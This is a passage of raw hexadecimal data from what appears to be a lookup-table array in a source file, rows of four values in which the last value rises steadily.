0x0, 0x0, 0xbb33, 0xae41, 0x0, 0x0, 0xbb33, 0xae58,
0x0, 0x0, 0xbb33, 0xae6f, 0x0, 0x0, 0xbb33, 0xae86,
0x0, 0x0, 0xbb33, 0xae9d, 0x0, 0x0, 0xbb33, 0xaeb3,
0x0, 0x0, 0xbb33, 0xaeca, 0x0, 0x0, 0xbb33, 0xaee1,
0x0, 0x0, 0xbb33, 0xaef8, 0x0, 0x0, 0xbb33, 0xaf0f,
0x0, 0x0, 0xbb33, 0xaf26, 0x0, 0x0, 0xbb33, 0xaf3d,
0x0, 0x0, 0xbb33, 0xaf54, 0x0, 0x0, 0xbb33, 0xaf6b,
0x0, 0x0, 0xbb33, 0xaf82, 0x0, 0x0, 0xbb33, 0xaf99,
0x0, 0x0, 0xbb33, 0xafb0, 0x0, 0x0, 0xbb33, 0xafc7,
0x0, 0x0, 0xbb33, 0xafde, 0x0, 0x0, 0xbb33, 0xaff5,
0x0, 0x0, 0xbb33, 0xb006, 0x0, 0x0, 0xbb33, 0xb012,
0x0, 0x0, 0xbb33, 0xb01d, 0x0, 0x0, 0xbb33, 0xb029,
0x0, 0x0, 0xbb33, 0xb034, 0x0, 0x0, 0xbb33, 0xb040,
0x0, 0x0, 0xbb33, 0xb04b, 0x0, 0x0, 0xbb33, 0xb057,
0x0, 0x0, 0xbb33, 0xb063, 0x0, 0x0, 0xbb33, 0xb06e,
0x0, 0x0, 0xbb33, 0xb07a, 0x0, 0x0, 0xbb33, 0xb085,
0x0, 0x0, 0xbb33, 0xb091, 0x0, 0x0, 0xbb33, 0xb09c,
0x0, 0x0, 0xbb33, 0xb0a8, 0x0, 0x0, 0xbb33, 0xb0b4,
0x0, 0x0, 0xbb33, 0xb0bf, 0x0, 0x0, 0xbb33, 0xb0cb,
0x0, 0x0, 0xbb33, 0xb0d7, 0x0, 0x0, 0xbb33, 0xb0e2,
0x0, 0x0, 0xbb33, 0xb0ee, 0x0, 0x0, 0xbb33, 0xb0f9,
0x0, 0x0, 0xbb33, 0xb105, 0x0, 0x0, 0xbb33, 0xb111,
0x0, 0x0, 0xbb33, 0xb11c, 0x0, 0x0, 0xbb33, 0xb128,
0x0, 0x0, 0xbb33, 0xb134, 0x0, 0x0, 0xbb33, 0xb13f,
0x0, 0x0, 0xbb33, 0xb14b, 0x0, 0x0, 0xbb33, 0xb157,
0x0, 0x0, 0xbb33, 0xb163, 0x0, 0x0, 0xbb33, 0xb16e,
0x0, 0x0, 0xbb33, 0xb17a, 0x0, 0x0, 0xbb33, 0xb186,
0x0, 0x0, 0xbb33, 0xb191, 0x0, 0x0, 0xbb33, 0xb19d,
0x0, 0x0, 0xbb33, 0xb1a9, 0x0, 0x0, 0xbb33, 0xb1b5,
0x0, 0x0, 0xbb33, 0xb1c0, 0x0, 0x0, 0xbb33, 0xb1cc,
0x0, 0x0, 0xbb33, 0xb1d8, 0x0, 0x0, 0xbb33, 0xb1e4,
0x0, 0x0, 0xbb33, 0xb1f0, 0x0, 0x0, 0xbb33, 0xb1fb,
0x0, 0x0, 0xbb33, 0xb207, 0x0, 0x0, 0xbb33, 0xb213,
0x0, 0x0, 0xbb33, 0xb21f, 0x0, 0x0, 0xbb33, 0xb22b,
0x0, 0x0, 0xbb33, 0xb236, 0x0, 0x0, 0xbb33, 0xb242,
0x0, 0x0, 0xbb33, 0xb24e, 0x0, 0x0, 0xbb33, 0xb25a,
0x0, 0x0, 0xbb33, 0xb266, 0x0, 0x0, 0xbb33, 0xb272,
0x0, 0x0, 0xbb33, 0xb27e, 0x0, 0x0, 0xbb33, 0xb289,
0x0, 0x0, 0xbb33, 0xb295, 0x0, 0x0, 0xbb33, 0xb2a1,
0x0, 0x0, 0xbb33, 0xb2ad, 0x0, 0x0, 0xbb33, 0xb2b9,
0x0, 0x0, 0xbb33, 0xb2c5, 0x0, 0x0, 0xbb33, 0xb2d1,
0x0, 0x0, 0xbb33, 0xb2dd, 0x0, 0x0, 0xbb33, 0xb2e9,
0x0, 0x0, 0xbb33, 0xb2f5, 0x0, 0x0, 0xbb33, 0xb301,
0x0, 0x0, 0xbb33, 0xb30d, 0x0, 0x0, 0xbb33, 0xb319,
0x0, 0x0, 0xbb33, 0xb325, 0x0, 0x0, 0xbb33, 0xb331,
0x0, 0x0, 0xbb33, 0xb33d, 0x0, 0x0, 0xbb33, 0xb349,
0x0, 0x0, 0xbb33, 0xb355, 0x0, 0x0, 0xbb33, 0xb361,
0x0, 0x0, 0xbb33, 0xb36d, 0x0, 0x0, 0xbb33, 0xb379,
0x0, 0x0, 0xbb33, 0xb385, 0x0, 0x0, 0xbb33, 0xb391,
0x0, 0x0, 0xbb33, 0xb39d, 0x0, 0x0, 0xbb33, 0xb3a9,
0x0, 0x0, 0xbb33, 0xb3b6, 0x0, 0x0, 0xbb33, 0xb3c2,
0x0, 0x0, 0xbb33, 0xb3ce, 0x0, 0x0, 0xbb33, 0xb3da,
0x0, 0x0, 0xbb33, 0xb3e6, 0x0, 0x0, 0xbb33, 0xb3f2,
0x0, 0x0, 0xbb33, 0xb3fe, 0x0, 0x0, 0xbb33, 0xb405,
0x0, 0x0, 0xbb33, 0xb40b, 0x0, 0x0, 0xbb33, 0xb412,
0x0, 0x0, 0xbb33, 0xb418, 0x0, 0x0, 0xbb33, 0xb41e,
0x0, 0x0, 0xbb33, 0xb424, 0x0, 0x0, 0xbb33, 0xb42a,
0x0, 0x0, 0xbb33, 0xb430, 0x0, 0x0, 0xbb33, 0xb436,
0x0, 0x0, 0xbb33, 0xb43c, 0x0, 0x0, 0xbb33, 0xb443,
0x0, 0x0, 0xbb33, 0xb449, 0x0, 0x0, 0xbb33, 0xb44f,
0x0, 0x0, 0xbb33, 0xb455, 0x0, 0x0, 0xbb33, 0xb45b,
0x0, 0x0, 0xbb33, 0xb461, 0x0, 0x0, 0xbb33, 0xb468,
0x0, 0x0, 0xbb33, 0xb46e, 0x0, 0x0, 0xbb33, 0xb474,
0x0, 0x0, 0xbb33, 0xb47a, 0x0, 0x0, 0xbb33, 0xb480,
0x0, 0x0, 0xbb33, 0xb487, 0x0, 0x0, 0xbb33, 0xb48d,
0x0, 0x0, 0xbb33, 0xb493, 0x0, 0x0, 0xbb33, 0xb499,
0x0, 0x0, 0xbb33, 0xb49f, 0x0, 0x0, 0xbb33, 0xb4a6,
0x0, 0x0, 0xbb33, 0xb4ac, 0x0, 0x0, 0xbb33, 0xb4b2,
0x0, 0x0, 0xbb33, 0xb4b8, 0x0, 0x0, 0xbb33, 0xb4bf,
0x0, 0x0, 0xbb33, 0xb4c5, 0x0, 0x0, 0xbb33, 0xb4cb,
0x0, 0x0, 0xbb33, 0xb4d2, 0x0, 0x0, 0xbb33, 0xb4d8,
0x0, 0x0, 0xbb33, 0xb4de, 0x0, 0x0, 0xbb33, 0xb4e4,
0x0, 0x0, 0xbb33, 0xb4eb, 0x0, 0x0, 0xbb33, 0xb4f1,
0x0, 0x0, 0xbb33, 0xb4f7, 0x0, 0x0, 0xbb33, 0xb4fe,
0x0, 0x0, 0xbb33, 0xb504, 0x0, 0x0, 0xbb33, 0xb50a,
0x0, 0x0, 0xbb33, 0xb511, 0x0, 0x0, 0xbb33, 0xb517,
0x0, 0x0, 0xbb33, 0xb51d, 0x0, 0x0, 0xbb33, 0xb524,
0x0, 0x0, 0xbb33, 0xb52a, 0x0, 0x0, 0xbb33, 0xb531,
0x0, 0x0, 0xbb33, 0xb537, 0x0, 0x0, 0xbb33, 0xb53d,
0x0, 0x0, 0xbb33, 0xb544, 0x0, 0x0, 0xbb33, 0xb54a,
0x0, 0x0, 0xbb33, 0xb551, 0x0, 0x0, 0xbb33, 0xb557,
0x0, 0x0, 0xbb33, 0xb55d, 0x0, 0x0, 0xbb33, 0xb564,
0x0, 0x0, 0xbb33, 0xb56a, 0x0, 0x0, 0xbb33, 0xb571,
0x0, 0x0, 0xbb33, 0xb577, 0x0, 0x0, 0xbb33, 0xb57e,
0x0, 0x0, 0xbb33, 0xb584, 0x0, 0x0, 0xbb33, 0xb58b,
0x0, 0x0, 0xbb33, 0xb591, 0x0, 0x0, 0xbb33, 0xb598,
0x0, 0x0, 0xbb33, 0xb59e, 0x0, 0x0, 0xbb33, 0xb5a5,
0x0, 0x0, 0xbb33, 0xb5ab, 0x0, 0x0, 0xbb33, 0xb5b2,
0x0, 0x0, 0xbb33, 0xb5b8, 0x0, 0x0, 0xbb33, 0xb5bf,
0x0, 0x0, 0xbb33, 0xb5c6, 0x0, 0x0, 0xbb33, 0xb5cc,
0x0, 0x0, 0xbb33, 0xb5d3, 0x0, 0x0, 0xbb33, 0xb5d9,
0x0, 0x0, 0xbb33, 0xb5e0, 0x0, 0x0, 0xbb33, 0xb5e6,
0x0, 0x0, 0xbb33, 0xb5ed, 0x0, 0x0, 0xbb33, 0xb5f4,
0x0, 0x0, 0xbb33, 0xb5fa, 0x0, 0x0, 0xbb33, 0xb601,
0x0, 0x0, 0xbb33, 0xb608, 0x0, 0x0, 0xbb33, 0xb60e,
0x0, 0x0, 0xbb33, 0xb615, 0x0, 0x0, 0xbb33, 0xb61c,
0x0, 0x0, 0xbb33, 0xb622, 0x0, 0x0, 0xbb33, 0xb629,
0x0, 0x0, 0xbb33, 0xb630, 0x0, 0x0, 0xbb33, 0xb636,
0x0, 0x0, 0xbb33, 0xb63d, 0x0, 0x0, 0xbb33, 0xb644,
0x0, 0x0, 0xbb33, 0xb64a, 0x0, 0x0, 0xbb33, 0xb651,
0x0, 0x0, 0xbb33, 0xb658, 0x0, 0x0, 0xbb33, 0xb65f,
0x0, 0x0, 0xbb33, 0xb665, 0x0, 0x0, 0xbb33, 0xb66c,
0x0, 0x0, 0xbb33, 0xb673, 0x0, 0x0, 0xbb33, 0xb67a,
0x0, 0x0, 0xbb33, 0xb681, 0x0, 0x0, 0xbb33, 0xb687,
0x0, 0x0, 0xbb33, 0xb68e, 0x0, 0x0, 0xbb33, 0xb695,
0x0, 0x0, 0xbb33, 0xb69c, 0x0, 0x0, 0xbb33, 0xb6a3,
0x0, 0x0, 0xbb33, 0xb6aa, 0x0, 0x0, 0xbb33, 0xb6b0,
0x0, 0x0, 0xbb33, 0xb6b7, 0x0, 0x0, 0xbb33, 0xb6be,
0x0, 0x0, 0xbb33, 0xb6c5, 0x0, 0x0, 0xbb33, 0xb6cc,
0x0, 0x0, 0xbb33, 0xb6d3, 0x0, 0x0, 0xbb33, 0xb6da,
0x0, 0x0, 0xbb33, 0xb6e1, 0x0, 0x0, 0xbb33, 0xb6e8,
0x0, 0x0, 0xbb33, 0xb6ef, 0x0, 0x0, 0xbb33, 0xb6f6,
0x0, 0x0, 0xbb33, 0xb6fd, 0x0, 0x0, 0xbb33, 0xb704,
0x0, 0x0, 0xbb33, 0xb70b, 0x0, 0x0, 0xbb33, 0xb712,
0x0, 0x0, 0xbb33, 0xb719, 0x0, 0x0, 0xbb33, 0xb720,
0x0, 0x0, 0xbb33, 0xb727, 0x0, 0x0, 0xbb33, 0xb72e,
0x0, 0x0, 0xbb33, 0xb735, 0x0, 0x0, 0xbb33, 0xb73c,
0x0, 0x0, 0xbb33, 0xb743, 0x0, 0x0, 0xbb33, 0xb74a,
0x0, 0x0, 0xbb33, 0xb751, 0x0, 0x0, 0xbb33, 0xb758,
0x0, 0x0, 0xbb33, 0xb760, 0x0, 0x0, 0xbb33, 0xb767,
0x0, 0x0, 0xbb33, 0xb76e, 0x0, 0x0, 0xbb33, 0xb775,
0x0, 0x0, 0xbb33, 0xb77c, 0x0, 0x0, 0xbb33, 0xb783,
0x0, 0x0, 0xbb33, 0xb78b, 0x0, 0x0, 0xbb33, 0xb792,
0x0, 0x0, 0xbb33, 0xb799, 0x0, 0x0, 0xbb33, 0xb7a0,
0x0, 0x0, 0xbb33, 0xb7a8, 0x0, 0x0, 0xbb33, 0xb7af,
0x0, 0x0, 0xbb33, 0xb7b6, 0x0, 0x0, 0xbb33, 0xb7bd,
0x0, 0x0, 0xbb33, 0xb7c5, 0x0, 0x0, 0xbb33, 0xb7cc,
0x0, 0x0, 0xbb33, 0xb7d3, 0x0, 0x0, 0xbb33, 0xb7db,
0x0, 0x0, 0xbb33, 0xb7e2, 0x0, 0x0, 0xbb33, 0xb7e9,
0x0, 0x0, 0xbb33, 0xb7f1, 0x0, 0x0, 0xbb33, 0xb7f8,
0x0, 0x0, 0xbb33, 0xb7ff, 0x0, 0x0, 0xbb33, 0xb803,
0x0, 0x0, 0xbb33, 0xb807, 0x0, 0x0, 0xbb33, 0xb80b,
0x0, 0x0, 0xbb33, 0xb80f, 0x0, 0x0, 0xbb33, 0xb812,
0x0, 0x0, 0xbb33, 0xb816, 0x0, 0x0, 0xbb33, 0xb81a,
0x0, 0x0, 0xbb33, 0xb81e, 0x0, 0x0, 0xbb33, 0xb821,
0x0, 0x0, 0xbb33, 0xb825, 0x0, 0x0, 0xbb33, 0xb829,
0x0, 0x0, 0xbb33, 0xb82d, 0x0, 0x0, 0xbb33, 0xb830,
0x0, 0x0, 0xbb33, 0xb834, 0x0, 0x0, 0xbb33, 0xb838,
0x0, 0x0, 0xbb33, 0xb83c, 0x0, 0x0, 0xbb33, 0xb840,
0x0, 0x0, 0xbb33, 0xb843, 0x0, 0x0, 0xbb33, 0xb847,
0x0, 0x0, 0xbb33, 0xb84b, 0x0, 0x0, 0xbb33, 0xb84f,
0x0, 0x0, 0xbb33, 0xb853, 0x0, 0x0, 0xbb33, 0xb857,
0x0, 0x0, 0xbb33, 0xb85a, 0x0, 0x0, 0xbb33, 0xb85e,
0x0, 0x0, 0xbb33, 0xb862, 0x0, 0x0, 0xbb33, 0xb866,
0x0, 0x0, 0xbb33, 0xb86a, 0x0, 0x0, 0xbb33, 0xb86e,
0x0, 0x0, 0xbb33, 0xb872, 0x0, 0x0, 0xbb33, 0xb876,
0x0, 0x0, 0xbb33, 0xb87a, 0x0, 0x0, 0xbb33, 0xb87d,
0x0, 0x0, 0xbb33, 0xb881, 0x0, 0x0, 0xbb33, 0xb885,
0x0, 0x0, 0xbb33, 0xb889, 0x0, 0x0, 0xbb33, 0xb88d,
0x0, 0x0, 0xbb33, 0xb891, 0x0, 0x0, 0xbb33, 0xb895,
0x0, 0x0, 0xbb33, 0xb899, 0x0, 0x0, 0xbb33, 0xb89d,
0x0, 0x0, 0xbb33, 0xb8a1, 0x0, 0x0, 0xbb33, 0xb8a5,
0x0, 0x0, 0xbb33, 0xb8a9, 0x0, 0x0, 0xbb33, 0xb8ad,
0x0, 0x0, 0xbb33, 0xb8b1, 0x0, 0x0, 0xbb33, 0xb8b5,
0x0, 0x0, 0xbb33, 0xb8b9, 0x0, 0x0, 0xbb33, 0xb8bd,
0x0, 0x0, 0xbb33, 0xb8c1, 0x0, 0x0, 0xbb33, 0xb8c5,
0x0, 0x0, 0xbb33, 0xb8c9, 0x0, 0x0, 0xbb33, 0xb8ce,
0x0, 0x0, 0xbb33, 0xb8d2, 0x0, 0x0, 0xbb33, 0xb8d6,
0x0, 0x0, 0xbb33, 0xb8da, 0x0, 0x0, 0xbb33, 0xb8de,
0x0, 0x0, 0xbb33, 0xb8e2, 0x0, 0x0, 0xbb33, 0xb8e6,
0x0, 0x0, 0xbb33, 0xb8ea, 0x0, 0x0, 0xbb33, 0xb8ee,
0x0, 0x0, 0xbb33, 0xb8f3, 0x0, 0x0, 0xbb33, 0xb8f7,
0x0, 0x0, 0xbb33, 0xb8fb, 0x0, 0x0, 0xbb33, 0xb8ff,
0x0, 0x0, 0xbb33, 0xb903, 0x0, 0x0, 0xbb33, 0xb908,
0x0, 0x0, 0xbb33, 0xb90c, 0x0, 0x0, 0xbb33, 0xb910,
0x0, 0x0, 0xbb33, 0xb914, 0x0, 0x0, 0xbb33, 0xb918,
0x0, 0x0, 0xbb33, 0xb91d, 0x0, 0x0, 0xbb33, 0xb921,
0x0, 0x0, 0xbb33, 0xb925, 0x0, 0x0, 0xbb33, 0xb92a,
0x0, 0x0, 0xbb33, 0xb92e, 0x0, 0x0, 0xbb33, 0xb932,
0x0, 0x0, 0xbb33, 0xb936, 0x0, 0x0, 0xbb33, 0xb93b,
0x0, 0x0, 0xbb33, 0xb93f, 0x0, 0x0, 0xbb33, 0xb943,
0x0, 0x0, 0xbb33, 0xb948, 0x0, 0x0, 0xbb33, 0xb94c,
0x0, 0x0, 0xbb33, 0xb950, 0x0, 0x0, 0xbb33, 0xb955,
0x0, 0x0, 0xbb33, 0xb959, 0x0, 0x0, 0xbb33, 0xb95e,
0x0, 0x0, 0xbb33, 0xb962, 0x0, 0x0, 0xbb33, 0xb966,
0x0, 0x0, 0xbb33, 0xb96b, 0x0, 0x0, 0xbb33, 0xb96f,
0x0, 0x0, 0xbb33, 0xb974, 0x0, 0x0, 0xbb33, 0xb978,
0x0, 0x0, 0xbb33, 0xb97d, 0x0, 0x0, 0xbb33, 0xb981,
0x0, 0x0, 0xbb33, 0xb986, 0x0, 0x0, 0xbb33, 0xb98a,
0x0, 0x0, 0xbb33, 0xb98f, 0x0, 0x0, 0xbb33, 0xb993,
0x0, 0x0, 0xbb33, 0xb998, 0x0, 0x0, 0xbb33, 0xb99c,
0x0, 0x0, 0xbb33, 0xb9a1, 0x0, 0x0, 0xbb33, 0xb9a5,
0x0, 0x0, 0xbb33, 0xb9aa, 0x0, 0x0, 0xbb33, 0xb9ae,
0x0, 0x0, 0xbb33, 0xb9b3, 0x0, 0x0, 0xbb33, 0xb9b8,
0x0, 0x0, 0xbb33, 0xb9bc, 0x0, 0x0, 0xbb33, 0xb9c1,
0x0, 0x0, 0xbb33, 0xb9c6, 0x0, 0x0, 0xbb33, 0xb9ca,
0x0, 0x0, 0xbb33, 0xb9cf, 0x0, 0x0, 0xbb33, 0xb9d4,
0x0, 0x0, 0xbb33, 0xb9d8, 0x0, 0x0, 0xbb33, 0xb9dd,
0x0, 0x0, 0xbb33, 0xb9e2, 0x0, 0x0, 0xbb33, 0xb9e6,
0x0, 0x0, 0xbb33, 0xb9eb, 0x0, 0x0, 0xbb33, 0xb9f0,
0x0, 0x0, 0xbb33, 0xb9f5, 0x0, 0x0, 0xbb33, 0xb9f9,
0x0, 0x0, 0xbb33, 0xb9fe, 0x0, 0x0, 0xbb33, 0xba03,
0x0, 0x0, 0xbb33, 0xba08, 0x0, 0x0, 0xbb33, 0xba0d,
0x0, 0x0, 0xbb33, 0xba11, 0x0, 0x0, 0xbb33, 0xba16,
0x0, 0x0, 0xbb33, 0xba1b, 0x0, 0x0, 0xbb33, 0xba20,
0x0, 0x0, 0xbb33, 0xba25, 0x0, 0x0, 0xbb33, 0xba2a,
0x0, 0x0, 0xbb33, 0xba2f, 0x0, 0x0, 0xbb33, 0xba33,
0x0, 0x0, 0xbb33, 0xba38, 0x0, 0x0, 0xbb33, 0xba3d,
0x0, 0x0, 0xbb33, 0xba42, 0x0, 0x0, 0xbb33, 0xba47,
0x0, 0x0, 0xbb33, 0xba4c, 0x0, 0x0, 0xbb33, 0xba51,
0x0, 0x0, 0xbb33, 0xba56, 0x0, 0x0, 0xbb33, 0xba5b,
0x0, 0x0, 0xbb33, 0xba60, 0x0, 0x0, 0xbb33, 0xba65,
0x0, 0x0, 0xbb33, 0xba6a, 0x0, 0x0, 0xbb33, 0xba70,
0x0, 0x0, 0xbb33, 0xba75, 0x0, 0x0, 0xbb33, 0xba7a,
0x0, 0x0, 0xbb33, 0xba7f, 0x0, 0x0, 0xbb33, 0xba84,
0x0, 0x0, 0xbb33, 0xba89, 0x0, 0x0, 0xbb33, 0xba8e,
0x0, 0x0, 0xbb33, 0xba93, 0x0, 0x0, 0xbb33, 0xba99,
0x0, 0x0, 0xbb33, 0xba9e, 0x0, 0x0, 0xbb33, 0xbaa3,
0x0, 0x0, 0xbb33, 0xbaa8, 0x0, 0x0, 0xbb33, 0xbaae,
0x0, 0x0, 0xbb33, 0xbab3, 0x0, 0x0, 0xbb33, 0xbab8,
0x0, 0x0, 0xbb33, 0xbabd, 0x0, 0x0, 0xbb33, 0xbac3,
0x0, 0x0, 0xbb33, 0xbac8, 0x0, 0x0, 0xbb33, 0xbacd,
0x0, 0x0, 0xbb33, 0xbad3, 0x0, 0x0, 0xbb33, 0xbad8,
0x0, 0x0, 0xbb33, 0xbade, 0x0, 0x0, 0xbb33, 0xbae3,
0x0, 0x0, 0xbb33, 0xbae8, 0x0, 0x0, 0xbb33, 0xbaee,
0x0, 0x0, 0xbb33, 0xbaf3, 0x0, 0x0, 0xbb33, 0xbaf9,
0x0, 0x0, 0xbb33, 0xbafe, 0x0, 0x0, 0xbb33, 0xbb04,
0x0, 0x0, 0xbb33, 0xbb09, 0x0, 0x0, 0xbb33, 0xbb0f,
0x0, 0x0, 0xbb33, 0xbb14, 0x0, 0x0, 0xbb33, 0xbb1a,
0x0, 0x0, 0xbb33, 0xbb20, 0x0, 0x0, 0xbb33, 0xbb25,
0x0, 0x0, 0xbb33, 0xbb2b, 0x0, 0x0, 0xbb33, 0xbb30,
0x0, 0x0, 0xbb33, 0xbb36, 0x0, 0x0, 0xbb33, 0xbb3c,
0x0, 0x0, 0xbb33, 0xbb41, 0x0, 0x0, 0xbb33, 0xbb47,
0x0, 0x0, 0xbb33, 0xbb4d, 0x0, 0x0, 0xbb33, 0xbb53,
0x0, 0x0, 0xbb33, 0xbb58, 0x0, 0x0, 0xbb33, 0xbb5e,
0x0, 0x0, 0xbb33, 0xbb64, 0x0, 0x0, 0xbb33, 0xbb6a,
0x0, 0x0, 0xbb33, 0xbb70, 0x0, 0x0, 0xbb33, 0xbb75,
0x0, 0x0, 0xbb33, 0xbb7b, 0x0, 0x0, 0xbb33, 0xbb81,
0x0, 0x0, 0xbb33, 0xbb87, 0x0, 0x0, 0xbb33, 0xbb8d,
0x0, 0x0, 0xbb33, 0xbb93, 0x0, 0x0, 0xbb33, 0xbb99,
0x0, 0x0, 0xbb33, 0xbb9f, 0x0, 0x0, 0xbb33, 0xbba5,
0x0, 0x0, 0xbb33, 0xbbab, 0x0, 0x0, 0xbb33, 0xbbb1,
0x0, 0x0, 0xbb33, 0xbbb7, 0x0, 0x0, 0xbb33, 0xbbbd,
0x0, 0x0, 0xbb33, 0xbbc3, 0x0, 0x0, 0xbb33, 0xbbc9,
0x0, 0x0, 0xbb33, 0xbbcf, 0x0, 0x0, 0xbb33, 0xbbd6,
0x0, 0x0, 0xbb33, 0xbbdc, 0x0, 0x0, 0xbb33, 0xbbe2,
0x0, 0x0, 0xbb33, 0xbbe8, 0x0, 0x0, 0xbb33, 0xbbef,
0x0, 0x0, 0xbb33, 0xbbf5, 0x0, 0x0, 0xbb33, 0xbbfb,
0x0, 0x0, 0xbb33, 0xbc01, 0x0, 0x0, 0xbb33, 0xbc04,
0x0, 0x0, 0xbb33, 0xbc07, 0x0, 0x0, 0xbb33, 0xbc0a,
0x0, 0x0, 0xbb33, 0xbc0d, 0x0, 0x0, 0xbb33, 0xbc11,
0x0, 0x0, 0xbb33, 0xbc14, 0x0, 0x0, 0xbb33, 0xbc17,
0x0, 0x0, 0xbb33, 0xbc1a, 0x0, 0x0, 0xbb33, 0xbc1e,
0x0, 0x0, 0xbb33, 0xbc21, 0x0, 0x0, 0xbb33, 0xbc24,
0x0, 0x0, 0xbb33, 0xbc27, 0x0, 0x0, 0xbb33, 0xbc2b,
0x0, 0x0, 0xbb33, 0xbc2e, 0x0, 0x0, 0xbb33, 0xbc31,
0x0, 0x0, 0xbb33, 0xbc35, 0x0, 0x0, 0xbb33, 0xbc38,
0x0, 0x0, 0xbb33, 0xbc3b, 0x0, 0x0, 0xbb33, 0xbc3f,
0x0, 0x0, 0xbb33, 0xbc42, 0x0, 0x0, 0xbb33, 0xbc46,
0x0, 0x0, 0xbb33, 0xbc49, 0x0, 0x0, 0xbb33, 0xbc4c,
0x0, 0x0, 0xbb33, 0xbc50, 0x0, 0x0, 0xbb33, 0xbc53,
0x0, 0x0, 0xbb33, 0xbc57, 0x0, 0x0, 0xbb33, 0xbc5a,
0x0, 0x0, 0xbb33, 0xbc5e, 0x0, 0x0, 0xbb33, 0xbc61,
0x0, 0x0, 0xbb33, 0xbc65, 0x0, 0x0, 0xbb33, 0xbc68,
0x0, 0x0, 0xbb33, 0xbc6c, 0x0, 0x0, 0xbb33, 0xbc6f,
0x0, 0x0, 0xbb33, 0xbc73, 0x0, 0x0, 0xbb33, 0xbc76,
0x0, 0x0, 0xbb33, 0xbc7a, 0x0, 0x0, 0xbb33, 0xbc7e,
0x0, 0x0, 0xbb33, 0xbc81, 0x0, 0x0, 0xbb33, 0xbc85,
0x0, 0x0, 0xbb33, 0xbc89, 0x0, 0x0, 0xbb33, 0xbc8c,
0x0, 0x0, 0xbb33, 0xbc90, 0x0, 0x0, 0xbb33, 0xbc94,
0x0, 0x0, 0xbb33, 0xbc97, 0x0, 0x0, 0xbb33, 0xbc9b,
0x0, 0x0, 0xbb33, 0xbc9f, 0x0, 0x0, 0xbb33, 0xbca3,
0x0, 0x0, 0xbb33, 0xbca6, 0x0, 0x0, 0xbb33, 0xbcaa,
0x0, 0x0, 0xbb33, 0xbcae, 0x0, 0x0, 0xbb33, 0xbcb2,
0x0, 0x0, 0xbb33, 0xbcb6, 0x0, 0x0, 0xbb33, 0xbcb9,
0x0, 0x0, 0xbb33, 0xbcbd, 0x0, 0x0, 0xbb33, 0xbcc1,
0x0, 0x0, 0xbb33, 0xbcc5, 0x0, 0x0, 0xbb33, 0xbcc9,
0x0, 0x0, 0xbb33, 0xbccd, 0x0, 0x0, 0xbb33, 0xbcd1,
0x0, 0x0, 0xbb33, 0xbcd5, 0x0, 0x0, 0xbb33, 0xbcd9,
0x0, 0x0, 0xbb33, 0xbcdd, 0x0, 0x0, 0xbb33, 0xbce1,
0x0, 0x0, 0xbb33, 0xbce5, 0x0, 0x0, 0xbb33, 0xbce9,
0x0, 0x0, 0xbb33, 0xbced, 0x0, 0x0, 0xbb33, 0xbcf1,
0x0, 0x0, 0xbb33, 0xbcf5, 0x0, 0x0, 0xbb33, 0xbcf9,
0x0, 0x0, 0xbb33, 0xbcfd, 0x0, 0x0, 0xbb33, 0xbd01,
0x0, 0x0, 0xbb33, 0xbd05, 0x0, 0x0, 0xbb33, 0xbd0a,
0x0, 0x0, 0xbb33, 0xbd0e, 0x0, 0x0, 0xbb33, 0xbd12,
0x0, 0x0, 0xbb33, 0xbd16, 0x0, 0x0, 0xbb33, 0xbd1a,
0x0, 0x0, 0xbb33, 0xbd1f, 0x0, 0x0, 0xbb33, 0xbd23,
0x0, 0x0, 0xbb33, 0xbd27, 0x0, 0x0, 0xbb33, 0xbd2c,
0x0, 0x0, 0xbb33, 0xbd30, 0x0, 0x0, 0xbb33, 0xbd34,
0x0, 0x0, 0xbb33, 0xbd39, 0x0, 0x0, 0xbb33, 0xbd3d,
0x0, 0x0, 0xbb33, 0xbd42, 0x0, 0x0, 0xbb33, 0xbd46,
0x0, 0x0, 0xbb33, 0xbd4a, 0x0, 0x0, 0xbb33, 0xbd4f,
0x0, 0x0, 0xbb33, 0xbd53, 0x0, 0x0, 0xbb33, 0xbd58,
0x0, 0x0, 0xbb33, 0xbd5c, 0x0, 0x0, 0xbb33, 0xbd61,
0x0, 0x0, 0xbb33, 0xbd66, 0x0, 0x0, 0xbb33, 0xbd6a,
0x0, 0x0, 0xbb33, 0xbd6f, 0x0, 0x0, 0xbb33, 0xbd73,
0x0, 0x0, 0xbb33, 0xbd78, 0x0, 0x0, 0xbb33, 0xbd7d,
0x0, 0x0, 0xbb33, 0xbd81, 0x0, 0x0, 0xbb33, 0xbd86,
0x0, 0x0, 0xbb33, 0xbd8b, 0x0, 0x0, 0xbb33, 0xbd90,
0x0, 0x0, 0xbb33, 0xbd95, 0x0, 0x0, 0xbb33, 0xbd99,
0x0, 0x0, 0xbb33, 0xbd9e, 0x0, 0x0, 0xbb33, 0xbda3,
0x0, 0x0, 0xbb33, 0xbda8, 0x0, 0x0, 0xbb33, 0xbdad,
0x0, 0x0, 0xbb33, 0xbdb2, 0x0, 0x0, 0xbb33, 0xbdb7,
0x0, 0x0, 0xbb33, 0xbdbc, 0x0, 0x0, 0xbb33, 0xbdc1,
0x0, 0x0, 0xbb33, 0xbdc6, 0x0, 0x0, 0xbb33, 0xbdcb,
0x0, 0x0, 0xbb33, 0xbdd0, 0x0, 0x0, 0xbb33, 0xbdd5,
0x0, 0x0, 0xbb33, 0xbdda, 0x0, 0x0, 0xbb33, 0xbddf,
0x0, 0x0, 0xbb33, 0xbde5, 0x0, 0x0, 0xbb33, 0xbdea,
0x0, 0x0, 0xbb33, 0xbdef, 0x0, 0x0, 0xbb33, 0xbdf4,
0x0, 0x0, 0xbb33, 0xbdfa, 0x0, 0x0, 0xbb33, 0xbdff,
0x0, 0x0, 0xbb33, 0xbe04, 0x0, 0x0, 0xbb33, 0xbe0a,
0x0, 0x0, 0xbb33, 0xbe0f, 0x0, 0x0, 0xbb33, 0xbe14,
0x0, 0x0, 0xbb33, 0xbe1a, 0x0, 0x0, 0xbb33, 0xbe1f,
0x0, 0x0, 0xbb33, 0xbe25, 0x0, 0x0, 0xbb33, 0xbe2b,
0x0, 0x0, 0xbb33, 0xbe30, 0x0, 0x0, 0xbb33, 0xbe36,
0x0, 0x0, 0xbb33, 0xbe3b, 0x0, 0x0, 0xbb33, 0xbe41,
0x0, 0x0, 0xbb33, 0xbe47, 0x0, 0x0, 0xbb33, 0xbe4c,
0x0, 0x0, 0xbb33, 0xbe52, 0x0, 0x0, 0xbb33, 0xbe58,
0x0, 0x0, 0xbb33, 0xbe5e, 0x0, 0x0, 0xbb33, 0xbe64,
0x0, 0x0, 0xbb33, 0xbe69, 0x0, 0x0, 0xbb33, 0xbe6f,
